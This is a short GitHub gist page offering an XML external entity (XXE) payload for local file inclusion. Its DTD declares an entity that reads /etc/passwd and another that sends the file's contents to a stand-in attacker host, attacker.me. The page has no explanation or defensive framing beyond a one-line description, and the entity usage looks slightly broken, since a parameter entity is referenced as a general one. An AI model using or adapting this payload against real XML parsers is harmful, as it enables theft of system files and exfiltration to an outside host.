Skip to content

Instantly share code, notes, and snippets.

@N1gh7m4r3-N1dh
Created May 17, 2018 16:51
Show Gist options
  • Save N1gh7m4r3-N1dh/4be0e4f1d7489b69dfcea740702a8496 to your computer and use it in GitHub Desktop.
Save N1gh7m4r3-N1dh/4be0e4f1d7489b69dfcea740702a8496 to your computer and use it in GitHub Desktop.
payload for local file inclusion via xxe refering to an external entity.
<!DOCTYPE lfi [
<!ELEMENT lfi ANY>
<!ENTITY % boo SYSTEM
"file:///etc/passwd">
<!ENTITY xxe SYSTEM "http://attacker.me/?info=%boo">
]>
<lfi>
&boo;
</lfi>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment